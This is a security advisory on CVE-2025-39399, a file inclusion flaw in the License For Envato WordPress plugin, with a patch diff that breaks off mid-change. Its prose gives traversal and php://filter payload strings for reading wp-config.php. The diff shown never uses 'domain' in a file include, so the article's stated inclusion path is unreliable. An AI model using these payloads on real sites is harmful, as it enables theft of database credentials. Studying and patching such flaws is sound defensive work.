Opens in a new tab
Published : September 22, 2026

CVE-2025-39399: License For Envato <= 1.0.0 Unauthenticated Local File Inclusion PoC, Patch Analysis & Rule

CVE ID CVE-2025-39399
Plugin license-envato
Severity Critical (CVSS 9.8)
CWE 98
Vulnerable Version 1.0.0
Patched Version 1.1.0
Disclosed April 20, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-39399: The License For Envato WordPress plugin versions up to and including 1.0.0 contains an unauthenticated Local File Inclusion vulnerability classified as CWE-98 with a CVSS score of 9.8. The flaw resides in the plugin’s public REST API handler and its internal helper functions, which process user-supplied request parameters without sufficient validation before passing them to file-handling operations. Successful exploitation permits an unauthenticated attacker to include and execute arbitrary PHP files present on the target server.

The root cause is the absence of proper input validation and path sanitization on parameters accepted by the plugin’s REST routes registered in `includes/API/EnvatoLicenseRestApi.php`. Specifically, the `active_license` and related callbacks forward request data into `EnvatoLicenseApiCall::envatolicense_verify()` located in `includes/API/EnvatoLicenseApiCall.php`. Prior to the patch, this function accepted the `code`, `domain`, and `itemid` arguments and used them without strict validation, then passed the `domain` value into downstream logic that eventually resolves a local file path. The vulnerable DB helper `get_licence_verify_into_db()` also interpolated the `$value` argument directly into a SQL string (`WHERE {$key} = ‘{$value}’`), providing a secondary injection surface. No capability or nonce check guards these REST routes, so unauthenticated requests reach the vulnerable code path directly.

An attacker targets the plugin’s REST API endpoint, typically `/wp-json/license-envato/v1/active` (or the equivalent namespace registered by the plugin), by sending an authenticated-looking POST with parameters `code`, `domain`, and `itemid`. The `domain` parameter carries a traversal payload such as `../../../../wp-content/uploads/malicious.php` or a filter-wrapper string like `php://filter/convert.base64-encode/resource=../../wp-config.php`. Because the callback does not canonicalize or restrict the path, the value propagates into file inclusion logic. Alternatively, an attacker who can upload an image or other allowed file type can supply a path pointing to that upload, resulting in PHP code execution. No authentication cookie or nonce is required, which is confirmed by the absence of `current_user_can` checks on the REST route prior to the patch.

The patch hardens several layers. In `EnvatoLicenseRestApi.php`, the `itemid` argument is added to the schema with `sanitize_callback` and `validate_callback` set to `sanitize_text_field` and `rest_validate_request_arg`, and `domain` receives the same treatment. The `envatolicense_verify()` function now enforces that `itemid` is present and matches the stored `itemid` from the database record (`$get_license[0]->itemid == $requestItemid`), rejecting mismatches with a 406 error. The `get_licence_verify_into_db()` helper now whitelists `$key` against `[‘purchasecode’,’token’,’username’,’itemid’,’domain’]` and uses `$wpdb->prepare()` with `%s`, eliminating the SQL interpolation. Additional nonce fields and `wp_unslash` calls are added throughout admin handlers. Together these changes remove the untrusted path input and the injection surface that enabled the LFI.

The impact of successful exploitation is severe. Attackers can read arbitrary server files including `wp-config.php`, disclosing database credentials, salts, and secret keys. When combined with a file upload primitive (common on WordPress sites allowing media uploads), an attacker can achieve full remote code execution as the web server user, leading to complete site compromise, persistent backdoors, lateral movement to the underlying host, and exfiltration of all site data and user records. Atomic Edge research rates this as critical severity given the unauthenticated vector and the 9.8 CVSS score.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff 
--- a/license-envato/includes/API/EnvatoLicenseApiCall.php
+++ b/license-envato/includes/API/EnvatoLicenseApiCall.php
@@ -23,15 +23,17 @@
             return;
         }

-        if ( !wp_verify_nonce( $_POST['_wpnonce'], 'license_envato_envato_token' ) ) {
+        // Unslash and sanitize nonce
+        $nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : '';
+        if ( !wp_verify_nonce( $nonce, 'license_envato_envato_token' ) ) {
             wp_die( 'Are you cheating?' );
         }

         if ( !current_user_can( 'manage_options' ) ) {
             wp_die( 'Are you cheating?' );
         }
-
-        $envato_token = isset( $_POST['envato_token'] ) ? sanitize_text_field( $_POST['envato_token'] ) : '';
+        // Unslash and sanitize token
+        $envato_token = isset( $_POST['envato_token'] ) ? sanitize_text_field( wp_unslash( $_POST['envato_token'] ) ) : '';

         $user_option_key = hash( 'crc32b', 'license_envato_envato' ) . "_user";
         $profile = get_option( $user_option_key );
@@ -56,7 +58,7 @@
         ?>
         <?php if ( empty( $EnvatoUserInfo ) ) {?>
             <div class="alert alert-danger" role="alert">
-                <?php _e( "API Information is not valid or not set.", 'licenseenvato' );?>
+                <?php esc_html_e( "API Information is not valid or not set.", 'license-envato' );?>
             </div>
         <?php } elseif ( !empty( $EnvatoUserInfo->error ) ) {
             ?>
@@ -73,10 +75,37 @@
         } else {
             ?>
             <div class="card">
-                <h2><?php _e( 'Envato Account Details', 'licenseenvato' );?></h2>
+                <h2><?php esc_html_e( 'Envato Account Details', 'license-envato' );?></h2>
                 <div class="envato_account_details">
                     <div class="account_img">
-                        <img src="<?php echo wp_kses_post( $EnvatoUserInfo->account->image ); ?>" class="card-img img-fluid" alt="<?php echo wp_kses_post( $EnvatoUserInfo->account->surname ); ?>">
+                        <?php
+                        $raw_image_url = isset($EnvatoUserInfo->account->image) ? $EnvatoUserInfo->account->image : '';
+                        $raw_alt_text  = isset($EnvatoUserInfo->account->surname) ? $EnvatoUserInfo->account->surname : '';
+
+                        $display_image_url = esc_url($raw_image_url);
+                        $display_alt_text  = esc_attr($raw_alt_text);
+
+                        $image_html = '';
+
+                        if ($raw_image_url) {
+                            $attachment_id = attachment_url_to_postid($raw_image_url);
+
+                            if ($attachment_id) {
+                                $image_html = wp_get_attachment_image(
+                                    $attachment_id,
+                                    'thumbnail',
+                                    false,
+                                    array('alt' => $display_alt_text, 'class' => 'card-img img-fluid')
+                                );
+                            }
+
+                            if (empty($image_html)) {
+                                $image_html = '<img src="' . $display_image_url . '" class="card-img img-fluid" alt="' . $display_alt_text . '">';
+                            }
+                        }
+                        // Echo the resulting HTML, ensuring it's passed through kses for safety.
+                        echo wp_kses_post($image_html);
+                        ?>
                     </div>
                     <div class="account_details_info">
                         <div class="card-body">
@@ -206,7 +235,9 @@
             return;
         }

-        if ( !wp_verify_nonce( $_POST['_wpnonce'], 'license_envato_unlink' ) ) {
+        // Unslash and sanitize nonce
+        $nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : '';
+        if ( !wp_verify_nonce( $nonce, 'license_envato_unlink' ) ) {
             wp_die( 'Are you cheating?' );
         }

@@ -228,17 +259,18 @@
     public function envatolicense_verify( $args ) {
         $purchaseCode = isset( $args['code'] ) ? $args['code'] : '';
         $requestDomain = isset( $args['domain'] ) ? $args['domain'] : '';
+        $requestItemid = isset( $args['itemid'] ) ? $args['itemid'] : '';

-        if ( empty( $purchaseCode ) || empty( $requestDomain ) ) {
-            return new WP_Error( 'parameter_request', __( "Sent an invalid request, such as lacking required request parameter.", "licenseenvato" ), ["status" => 400] );
+        if ( empty( $purchaseCode ) || empty( $requestDomain ) || empty($requestItemid) ) {
+            return new WP_Error( 'parameter_request', __( "Sent an invalid request, such as lacking required request parameter.", 'license-envato' ), ["status" => 400] );
         }

         if ( !preg_match( "/^[a-zA-Z0-9-]+$/", $purchaseCode ) ) {
-            return new WP_Error( 'invalid_code', __( "Invalid purchase code.", "licenseenvato" ), ["status" => 404] );
+            return new WP_Error( 'invalid_code', __( "Invalid purchase code.", 'license-envato' ), ["status" => 404] );
         }

         if ( get_option( 'license_envato_token_valid' ) == false ) {
-            return new WP_Error( 'envato_connection_error', __( "Envato Auth Error, Contact your theme or plugin author.", "licenseenvato" ), ["status" => 401] );
+            return new WP_Error( 'envato_connection_error', __( "Envato Auth Error, Contact your theme or plugin author.", 'license-envato' ), ["status" => 401] );
         }

         $get_license = $this->get_licence_verify_into_db( 'purchasecode', $purchaseCode );
@@ -246,10 +278,14 @@
         if ( !empty( $get_license ) ) {
             if ( $get_license[0]->token && !empty( $get_license[0]->domain ) ) {
                 if ( $get_license[0]->domain == $requestDomain ) {
-                    $token['token'] = $get_license[0]->token;
-                    return $token;
+                    if ($get_license[0]->itemid == $requestItemid) {
+                        $token['token'] = $get_license[0]->token;
+                        return $token;
+                    }else {
+                        return new WP_Error( 'invalid_code', __( "Invalid purchase code for this item.", 'license-envato' ), ["status" => 406] );
+                    }
                 } else {
-                    return new WP_Error( 'already_activated', __( "Already activate another domain.", "licenseenvato" ), ["status" => 406] );
+                    return new WP_Error( 'already_activated', __( "Already activate another domain.", 'license-envato' ), ["status" => 406] );
                 }
             } else {
                 $username = $get_license[0]->username;
@@ -266,9 +302,9 @@
                 $data = json_decode( $data );

                 if ( !empty( $data->type ) && $data->type == "curl_error" ) {
-                    return new WP_Error( 'invalid_code', __( "Invalid purchase code.", "licenseenvato" ), ["status" => 404] );
+                    return new WP_Error( 'invalid_code', __( "Invalid purchase code.", 'license-envato' ), ["status" => 404] );
                 } elseif ( !empty( $data->message ) && $data->message == "Unauthorized" ) {
-                    return new WP_Error( 'invalid_code', __( "Invalid purchase code.", "licenseenvato" ), ["status" => 404] );
+                    return new WP_Error( 'invalid_code', __( "Invalid purchase code.", 'license-envato' ), ["status" => 404] );
                 } else {
                     $skip_properties = array( "description", "classification_url", "author_username", "classification", "site", "author_url", "author_image", "summary", "rating_count", "trending", "attributes", "tags", "previews" );
                     if ( !empty( $data->item ) ) {
@@ -290,10 +326,10 @@
                             return $token;
                         }
                     }
-                    return new WP_Error( 'invalid_code', __( "Invalid purchase code.", "licenseenvato" ), ["status" => 404] );
+                    return new WP_Error( 'invalid_code', __( "Invalid purchase code.", 'license-envato' ), ["status" => 404] );
                 }
             } else {
-                return new WP_Error( 'invalid_code', __( "Invalid purchase code.", "licenseenvato" ), ["status" => 404] );
+                return new WP_Error( 'invalid_code', __( "Invalid purchase code.", 'license-envato' ), ["status" => 404] );
             }
         }
     }
@@ -319,7 +355,26 @@
      */
     public function get_licence_verify_into_db( $key, $value ) {
         global $wpdb;
-        $result = $wpdb->get_results( "SELECT `itemid`,`token`,`username`, `domain` FROM `{$wpdb->prefix}license_envato_userlist` WHERE `{$key}` = '{$value}'" );
+
+        $allowed_keys = array('purchasecode', 'token', 'username', 'itemid', 'domain');
+        if ( !in_array( $key, $allowed_keys, true ) ) {
+            return null;
+        }
+
+        // Cache key based on the lookup key and value
+        $cache_group = 'license_envato_db';
+        $cache_key_specific = 'license_verify_' . $key . '_' . md5($value);
+
+        $result = wp_cache_get($cache_key_specific, $cache_group);
+
+        if (false === $result) {
+            $sql = $wpdb->prepare(
+                "SELECT `itemid`, `token`, `username`, `domain` FROM {$wpdb->prefix}license_envato_userlist WHERE `{$key}` = %s",
+                $value
+            );
+            $result = $wpdb->get_results( $sql );
+            wp_cache_set($cache_key_specific, $result, $cache_group, HOUR_IN_SECONDS); // Cache for 1 hour
+        }
         return $result;
     }

@@ -344,8 +399,22 @@
         global $wpdb;
         $table_name = $wpdb->prefix . "license_envato_userlist";

-        $sql = $wpdb->prepare( "INSERT INTO " . $table_name . " ( username, itemid, purchasecode, token, domain, licensetype, sold_at, support_amount, supported_until ) VALUES ( %s, %d, %s, %s, %s, %s, %s, %s, %s )", $username, $itemid, $purchaseCode, $token, $domain, $licenseType, $sold_at, $support_amount, $supported_until );
-        $wpdb->query( $sql );
+        // Use wpdb->insert instead of direct query
+        $wpdb->insert(
+            $table_name,
+            array(
+                'username' => $username,
+                'itemid' => $itemid,
+                'purchasecode' => $purchaseCode,
+                'token' => $token,
+                'domain' => $domain,
+                'licensetype' => $licenseType,
+                'sold_at' => $sold_at,
+                'support_amount' => $support_amount,
+                'supported_until' => $supported_until
+            ),
+            array('%s', '%d', '%s', '%s', '%s', '%s', '%s', '%s', '%s')
+        );

         $id = $wpdb->insert_id;
         if ( $id ) {
@@ -367,12 +436,22 @@
         $token = hash( 'md5', $username . $purchaseCode . time() . $token_secret );

         global $wpdb;
-        $table_name = $wpdb->prefix . "license_envato_userlist";
-        $sql = $wpdb->prepare( "UPDATE $table_name SET `token` = %s ,`domain` = %s WHERE `purchasecode` = %s", $token, $requestDomain, $purchaseCode );
+
+        // Use wpdb->update instead of direct query
+        $updated = $wpdb->update(
+            $wpdb->prefix . 'license_envato_userlist',
+            array(
+                'token' => $token,
+                'domain' => $requestDomain
+            ),
+            array(
+                'purchasecode' => $purchaseCode
+            ),
+            array('%s', '%s'),
+            array('%s')
+        );

-        $wpdb->query( $sql );
-        $id = $wpdb->rows_affected;
-        if ( $id ) {
+        if ( $updated ) {
             return $token;
         }
         return false;
@@ -388,36 +467,38 @@
         $token = isset( $args['token'] ) ? $args['token'] : '';

         if ( empty( $token ) ) {
-            return new WP_Error( 'deactivated_error', __( "Sent an invalid request, such as lacking required request parameter.", "licenseenvato" ), ["status" => 400] );
+            return new WP_Error( 'deactivated_error', __( "Sent an invalid request, such as lacking required request parameter.", 'license-envato' ), ["status" => 400] );
         }

         if ( !preg_match( "/^[a-zA-Z0-9-]+$/", $token ) ) {
-            return new WP_Error( 'deactivated_error', __( "Invalid purchase code.", "licenseenvato" ), ["status" => 400] );
+            return new WP_Error( 'deactivated_error', __( "Invalid purchase code.", 'license-envato' ), ["status" => 400] );
         }

         $get_license = $this->get_licence_verify_into_db( 'token', $token );

         if ( !empty( $get_license ) ) {
             if ( $get_license[0]->domain ) {
-
                 global $wpdb;
-                $table_name = $wpdb->prefix . "license_envato_userlist";
-
-                $sql = $wpdb->prepare( "UPDATE $table_name SET `domain` = '' WHERE `token` = %s", $token );
-                $wpdb->query( $sql );
-
-                $id = $wpdb->rows_affected;
+
+                // Use wpdb->update instead of direct query
+                $updated = $wpdb->update(
+                    $wpdb->prefix . 'license_envato_userlist',
+                    array('domain' => ''),
+                    array('token' => $token),
+                    array('%s'),
+                    array('%s')
+                );

-                if ( $id ) {
+                if ( $updated ) {
                     $deactive['deactive'] = 'Deactivated successfully.';
                     return $deactive;
                 }
-                return new WP_Error( 'already_deactivated', __( "Already deactivate this license.", "licenseenvato" ), ["status" => 406] );
+                return new WP_Error( 'already_deactivated', __( "Already deactivate this license.", 'license-envato' ), ["status" => 406] );
             } else {
-                return new WP_Error( 'already_deactivated', __( "Already deactivate this license.", "licenseenvato" ), ["status" => 406] );
+                return new WP_Error( 'already_deactivated', __( "Already deactivate this license.", 'license-envato' ), ["status" => 406] );
             }
         } else {
-            return new WP_Error( 'deactivated_error', __( "This token is not valid.", "licenseenvato" ), ["status" => 406] );
+            return new WP_Error( 'deactivated_error', __( "This token is not valid.", 'license-envato' ), ["status" => 406] );
         }
     }
 }
 No newline at end of file
--- a/license-envato/includes/API/EnvatoLicenseRestApi.php
+++ b/license-envato/includes/API/EnvatoLicenseRestApi.php
@@ -56,7 +56,7 @@
      *
      * @param  WP_Rest_Request $request
      *
-     * @return json
+     * @return WP_REST_Response
      */
     public function active_license( $request ) {
         $EnvatoLicenseApiCall = new EnvatoLicenseApiCall;
@@ -70,7 +70,7 @@
      *
      * @param  WP_Rest_Request $request
      *
-     * @return json
+     * @return WP_REST_Response
      */
     public function deactive_license( $request ) {
         $EnvatoLicenseApiCall = new EnvatoLicenseApiCall;
@@ -89,14 +89,21 @@
         return array(
             'context' => $this->get_context_param(),
             'code'    => array(
-                'description'       => __( 'Envato purchase code.', 'licenseenvato' ),
+                'description'       => __( 'Envato purchase code.', 'license-envato' ),
                 'type'              => 'string',
                 'sanitize_callback' => 'sanitize_text_field',
                 'validate_callback' => 'rest_validate_request_arg',
                 'required'          => true,
             ),
             'domain'  => array(
-                'description'       => __( 'API Request URL', 'licenseenvato' ),
+                'description'       => __( 'API Request URL', 'license-envato' ),
+                'type'              => 'string',
+                'sanitize_callback' => 'sanitize_text_field',
+                'validate_callback' => 'rest_validate_request_arg',
+                'required'          => true,
+            ),
+            'itemid'  => array(
+                'description'       => __( 'Envato Item Id', 'license-envato' ),
                 'type'              => 'string',
                 'sanitize_callback' => 'sanitize_text_field',
                 'validate_callback' => 'rest_validate_request_arg',
@@ -115,7 +122,7 @@
         return array(
             'context' => $this->get_context_param(),
             'token'    => array(
-                'description'       => __( 'Token', 'licenseenvato' ),
+                'description'       => __( 'Token', 'license-envato' ),
                 'type'              => 'string',
                 'sanitize_callback' => 'sanitize_text_field',
                 'validate_callback' => 'rest_validate_request_arg',
--- a/license-envato/includes/Admin/Allusers.php
+++ b/license-envato/includes/Admin/Allusers.php
@@ -36,11 +36,12 @@

     public function plugin_page() {
         $table = new Allusers();
+        $table->prepare_items();
+
         $userview = __DIR__ . '/views/userview.php';
         if ( file_exists( $userview ) ) {
-            include $userview;
+            include $userview; // This view will use $table->display()
         }
-
     }

     /**
@@ -83,9 +84,21 @@
         switch ( $column_name ) {
         case 'action':
             if ( $item['domain'] ) {
-                return sprintf( '<a href="?page=%s&action=%s&token=%s" class="deactivate"  onclick="if (confirm('Are you sure you want to Deactivate this item?')){return true;}else{event.stopPropagation(); event.preventDefault();};">Deactivate</a>', sanitize_text_field( $_REQUEST['page'] ), 'deactivate', $item['token'] );
+                $page_value = '';
+                if (isset($_REQUEST['page'])) {
+                    $page_value = sanitize_text_field(wp_unslash($_REQUEST['page']));
+                }
+
+                // Add nonce for security
+                $deactivate_nonce = wp_create_nonce( 'license_envato_deactivate_action_' . $item['token'] );
+                return sprintf( '<a href="?page=%s&action=%s&token=%s&_wpnonce=%s" class="deactivate" onclick="if (confirm('Are you sure you want to Deactivate this item?')){return true;}else{event.stopPropagation(); event.preventDefault();};">Deactivate</a>',
+                    esc_attr( $page_value ),
+                    'deactivate',
+                    esc_attr( $item['token'] ),
+                    esc_attr( $deactivate_nonce )
+                );
             } else {
-                return esc_html__( 'Deactivated', 'licenseenvato' );
+                return esc_html__( 'Deactivated', 'license-envato' );
             }
         default:
             return $item[$column_name];
@@ -93,41 +106,9 @@
     }

     public function prepare_items() {
-        $deactivate = isset( $_REQUEST['action'] ) ? sanitize_text_field( $_REQUEST['action'] ) : '';
-
-        if ( $deactivate == 'deactivate' ) {
-
-            $token = isset( $_REQUEST['token'] ) ? sanitize_text_field( $_REQUEST['token'] ) : '';
-            $code = [];
-            $code['token'] = $token;
-            $EnvatoLicenseApiCall = new EnvatoLicenseApiCall;
-            $licenseenvato_deactive = $EnvatoLicenseApiCall->envatolicense_deactive( $code );
-            $license_envato_Error = isset( $licenseenvato_deactive->errors ) ? $licenseenvato_deactive->errors : '';
-
-            if ( $license_envato_Error ) {
-                $deactivated_error = isset( $license_envato_Error['deactivated_error'] ) ? $license_envato_Error['deactivated_error'] : '';
-                $already_deactivated = isset( $license_envato_Error['already_deactivated'] ) ? $license_envato_Error['already_deactivated'] : '';
-                if ( $deactivated_error ) {
-                    $message = urlencode($license_envato_Error['deactivated_error'][0]);
-                    echo licenseEnvato__redirect('error', $message);
-                } elseif ( $already_deactivated ) {
-                    $message = urlencode($license_envato_Error['already_deactivated'][0]);
-                    echo licenseEnvato__redirect('error', $message);
-                } else {
-                    $message = urlencode('Something wrong! Check Error!');
-                    echo licenseEnvato__redirect('error', $message);
-                }
-            } elseif ( $licenseenvato_deactive['deactive'] ) {
-                $message = urlencode($licenseenvato_deactive['deactive']);
-                echo licenseEnvato__redirect('success', $message);
-            } else {
-                $message = urlencode('Something wrong!');
-                echo licenseEnvato__redirect('error', $message);
-            }
-        }
-
-        $codeerror = isset( $_GET['error'] ) ? sanitize_text_field( $_GET['error'] ) : '';
-        $codesuccess = isset( $_GET['success'] ) ? sanitize_text_field( $_GET['success'] ) : '';
+        // Messages from redirect (error or success) are displayed here
+        $codeerror = isset( $_GET['error'] ) ? sanitize_text_field( wp_unslash( $_GET['error'] ) ) : '';
+        $codesuccess = isset( $_GET['success'] ) ? sanitize_text_field( wp_unslash( $_GET['success'] ) ) : '';

         if ($codeerror) {
             ?>
@@ -135,7 +116,7 @@
                 <p><?php echo esc_html( $codeerror ); ?></p>
             </div>
             <?php
-        }elseif($codesuccess){
+        } elseif ($codesuccess) {
             ?>
             <div class="notice notice-success is-dismissible">
                 <p><?php echo esc_html( $codesuccess ); ?></p>
@@ -145,48 +126,57 @@

         global $wpdb;

-        $query = "SELECT `username`, `itemid`, `domain`, `purchasecode`, `token`, `supported_until` FROM `{$wpdb->prefix}license_envato_userlist`";
+        if (isset($_REQUEST['s'])) {
+            $search_nonce = isset($_REQUEST['search_nonce']) ? sanitize_text_field(wp_unslash($_REQUEST['search_nonce'])) : '';
+            if (!wp_verify_nonce($search_nonce, 'license_envato_search_action')) {
+                wp_die(esc_html__('Search security check failed.', 'license-envato'));
+            }
+        }

-        $this->search = isset( $_REQUEST['s'] ) ? sanitize_text_field( $_REQUEST['s'] ) : '';
-        $this->search_by = isset( $_REQUEST['search_by'] ) ? sanitize_text_field( $_REQUEST['search_by'] ) : '';
+        $this->search = isset($_REQUEST['s']) ? sanitize_text_field(wp_unslash($_REQUEST['s'])) : '';
+        $this->search_by = isset($_REQUEST['search_by']) ? sanitize_text_field(wp_unslash($_REQUEST['search_by'])) : '';

-        // Apply search filter for Purchase code
-        if ( $this->search_by == 'purchasecode' ) {
-            $query .= $wpdb->prepare(
-                " WHERE `purchasecode` LIKE '%%%s%%'",
-                $this->search
-            );
+        // Prepare for database query
+        $sql_select_from = "SELECT `username`, `itemid`, `domain`, `purchasecode`, `token`, `supported_until` FROM {$wpdb->prefix}license_envato_userlist";
+        $sql_where = "";
+        $sql_order_by = " ORDER BY `id` DESC";
+        $query_args = array();
+
+        if ($this->search_by === 'purchasecode' && !empty($this->search)) {
+            $sql_where = " WHERE `purchasecode` LIKE %s"; // Placeholder added here
+            $query_args[] = '%' . $wpdb->esc_like($this->search) . '%';
         }
-        $query .= " ORDER BY `id` DESC";
+
+        // Construct the complete SQL query template
+        $sql_template = $sql_select_from . $sql_where . $sql_order_by;

-        // Retrieve data from your custom database
-        $data = $wpdb->get_results( $query, ARRAY_A );
+        if (!empty($query_args)) {
+            // If there are args, prepare the query template with them
+            $executable_query = $wpdb->prepare($sql_template, $query_args);
+        } else {
+            // No args, so no placeholders were added. $sql_template is a static string.
+            $executable_query = $sql_template;
+        }
+
+        $cache_key = 'license_envato_users_' . md5($executable_query);
+        $data = wp_cache_get($cache_key, 'license_envato');
+
+        if (false === $data) {
+            $data = $wpdb->get_results($executable_query, ARRAY_A);
+            wp_cache_set($cache_key, $data, 'license_envato', 3600);
+        }

-        // Define the columns for the table
         $columns = $this->get_columns();
-
-        // Set the columns and data for the table
         $this->_column_headers = array( $columns, array(), array() );
-
-        // Set the number of items to display per page
         $this->set_items_per_page( 20 );
-
-        // Set the current page
         $current_page = $this->get_pagenum();
-
-        // Get the total number of items
         $total_items = count( $data );
-
-        // Slice the data to display only the items for the current page
         $data = array_slice( $data, (  ( $current_page - 1 ) * $this->per_page ), $this->per_page );
-
-        // Set the pagination arguments
         $this->set_pagination_args( array(
             'total_items' => $total_items,
             'per_page'    => $this->per_page,
             'total_pages' => ceil( $total_items / $this->per_page ),
         ) );
-
         $this->items = $data;
     }

@@ -195,22 +185,18 @@
      */
     public function extra_tablenav( $which ) {
         if ( $which == 'top' ) {
-            // Add the search input field
             echo '<div class="alignleft actions">';
             echo '<form method="get">';
             echo '<input type="hidden" name="page" value="licenseenvato"/>';
-            echo '<input type="search" id="search" name="s" value="' . $this->search . '"/>';
-
-            // Add the search by dropdown
+            // Add nonce field for search form
+            wp_nonce_field('license_envato_search_action', 'search_nonce');
+            echo '<input type="search" id="search" name="s" value="' . esc_attr( $this->search ) . '"/>';
             echo '<select name="search_by">';
             echo '<option value="purchasecode" ' . selected( $this->search_by, 'purchasecode', false ) . '>Purchase Code</option>';
             echo '</select>';
-
-            // Add the submit button
             echo '<input type="submit" id="search-submit" class="button" value="Search">';
             echo '</form>';
             echo '</div>';
-
         }
     }
 }
 No newline at end of file
--- a/license-envato/includes/Admin/Menu.php
+++ b/license-envato/includes/Admin/Menu.php
@@ -33,12 +33,12 @@
         $parent_slug = 'licenseenvato';
         $capability = 'manage_options';

-        add_menu_page( __( 'License Envato', 'licenseenvato' ), __( 'License Envato', 'licenseenvato' ), $capability, $parent_slug, [ $this, 'allusers' ], 'dashicons-admin-network' );
+        add_menu_page( __( 'License Envato', 'license-envato' ), __( 'License Envato', 'license-envato' ), $capability, $parent_slug, [ $this, 'allusers' ], 'dashicons-admin-network' );

-        add_submenu_page( $parent_slug, __( 'All Users', 'licenseenvato' ), __( 'All Users', 'licenseenvato' ), $capability, $parent_slug, [ $this, 'allusers' ] );
+        add_submenu_page( $parent_slug, __( 'All Users', 'license-envato' ), __( 'All Users', 'license-envato' ), $capability, $parent_slug, [ $this, 'allusers' ] );

-        add_submenu_page( $parent_slug, __( 'Settings', 'licenseenvato' ), __( 'Settings', 'licenseenvato' ), $capability, $parent_slug.'-settings', [ $this, 'settings' ] );
-        add_submenu_page( $parent_slug, __( 'Documentation', 'licenseenvato' ), __( 'Documentation', 'licenseenvato' ), $capability, $parent_slug.'-documentation', [ $this, 'documentation' ] );
+        add_submenu_page( $parent_slug, __( 'Settings', 'license-envato' ), __( 'Settings', 'license-envato' ), $capability, $parent_slug.'-settings', [ $this, 'settings' ] );
+        add_submenu_page( $parent_slug, __( 'Documentation', 'license-envato' ), __( 'Documentation', 'license-envato' ), $capability, $parent_slug.'-documentation', [ $this, 'documentation' ] );

         add_action( 'admin_init', [ $this, 'enqueue_assets' ] );
     }
--- a/license-envato/includes/Admin/doc/class.license.php
+++ b/license-envato/includes/Admin/doc/class.license.php
@@ -6,6 +6,7 @@
 class licenseCodeVerifyForm {

     const LICENCE_CALL_URL = "YOUR_SITE_URL";
+    const PREFIX = "YOUR_PREFIX";

     private $licenceActivate_error;
     private $licenceDeactivate_error;
@@ -19,10 +20,10 @@
     }

     public function LicenceHTMLForm(){ ?>
-        <h2><?php _e('License Activation Form', 'TEXT_DOMAIN');?></h2>
+        <h2><?php esc_html_e('License Activation Form', 'TEXT_DOMAIN');?></h2>
         <?php
-        $token = get_option('envato_token');
-        $isActivated = get_option('envato_is_activated');
+        $token = get_option(self::PREFIX.'_envato_token');
+        $isActivated = get_option(self::PREFIX.'_envato_is_activated');

         if ($token && $isActivated) {
             ?>
@@ -30,11 +31,11 @@
             if ($this->licenceDeactivate_error) {?>
                 <p class="licence_error"><?php echo esc_html( $this->licenceDeactivate_error );?></p>
             <?php }?>
-            <p><?php _e('You can click this button to deactivate your license code from this domain if you are going to transfer your website to some other domain or server.', 'TEXT_DOMAIN');?></p>
+            <p><?php esc_html_e('You can click this button to deactivate your license code from this domain if you are going to transfer your website to some other domain or server.', 'TEXT_DOMAIN');?></p>
             <form method="post">
                 <input type="hidden" name="envato_deactivate" value="1">
                 <?php wp_nonce_field( 'submit_deactivate' ); ?>
-                <?php submit_button( __( 'Deactivate', 'TEXT_DOMAIN' ), 'danger', 'submit_deactivate' ); ?>
+                <?php submit_button( esc_html__( 'Deactivate', 'TEXT_DOMAIN' ), 'danger', 'submit_deactivate' ); ?>
             </form>
             <?php
         }else{ ?>
@@ -43,11 +44,11 @@
                 <p class="licence_error"><?php echo esc_html( $this->licenceActivate_error );?></p>
             <?php }?>
             <form method="post">
-                <label for="purchase_code"><?php _e( 'Purchase code', 'TEXT_DOMAIN' ); ?> (<a href="https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-" target="_blank"><?php _e('Where can I get my purchase code?', 'TEXT_DOMAIN');?></a>)</label>
+                <label for="purchase_code"><?php esc_html_e('Purchase code', 'TEXT_DOMAIN'); ?> (<a href="https://help.market.envato.com/hc/en-us/articles/202822600-Where-Is-My-Purchase-Code-" target="_blank"><?php esc_html_e('Where can I get my purchase code?', 'TEXT_DOMAIN');?></a>)</label>
                 <input type="text" style="width:100%" id="purchase_code" name="purchase_code" placeholder="Example: 1e71cs5f-13d9-41e8-a140-2cff01d96afb">

                 <?php wp_nonce_field( 'submit_activate' ); ?>
-                <?php submit_button( __( 'Activate', 'TEXT_DOMAIN' ), 'danger', 'submit_activate' ); ?>
+                <?php submit_button( esc_html__( 'Activate', 'TEXT_DOMAIN' ), 'danger', 'submit_activate' ); ?>
             </form>
             <?php
         }
@@ -60,30 +61,36 @@
         if ( ! isset( $_POST['purchase_code'] ) || empty($_POST['purchase_code']) ) {
             return 'Please Enter Purchase Code.';
         }
-        if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'submit_activate' ) ) {
+        // Unslash and sanitize nonce
+        $nonce = isset($_POST['_wpnonce']) ? sanitize_text_field(wp_unslash($_POST['_wpnonce'])) : '';
+        if ( ! wp_verify_nonce( $nonce, 'submit_activate' ) ) {
             wp_die( 'Are you cheating?' );
         }

         if ( ! current_user_can( 'manage_options' ) ) {
             wp_die( 'Are you cheating?' );
         }
-
-        $purchase_code = isset( $_POST['purchase_code'] ) ? sanitize_text_field( $_POST['purchase_code'] ) : '';
+        // Unslash and sanitize purchase_code
+        $purchase_code = isset( $_POST['purchase_code'] ) ? sanitize_text_field( wp_unslash( $_POST['purchase_code'] ) ) : '';

         if ($purchase_code) {
             $url = self::LICENCE_CALL_URL."/wp-json/licenseenvato/v1/active";
             $domain = $this->domain();
-            $response = $this->apicall($url, $purchase_code, $domain);
-            $date = json_decode($response);
+            $itemid = get_option(self::PREFIX.'_envato_itemid');
+
+            $response = $this->apicall($url, $purchase_code, $domain, $itemid);
+            $data = json_decode($response);

-            $token = isset( $date->token ) ? $date->token : '';
+            $token = isset( $data->token ) ? $data->token : '';
+            $itemid = isset( $data->itemid ) ? $data->itemid : '';
             if ($token) {
-                update_option('envato_is_activated', true);
-                update_option('envato_token', $token);
-                update_option('envato_purchase_code', $purchase_code);
+                update_option(self::PREFIX.'_envato_is_activated_'.$itemid, true);
+                update_option(self::PREFIX.'_envato_token', $token);
+                update_option(self::PREFIX.'_envato_purchase_code', $purchase_code);
+                update_option(self::PREFIX.'_envato_itemid', $itemid);
             }else{
-                $statusCode = isset( $date->code ) ? $date->code : '';
-                $statusMessage = isset( $date->message ) ? $date->message : '';
+                $statusCode = isset( $data->code ) ? $data->code : '';
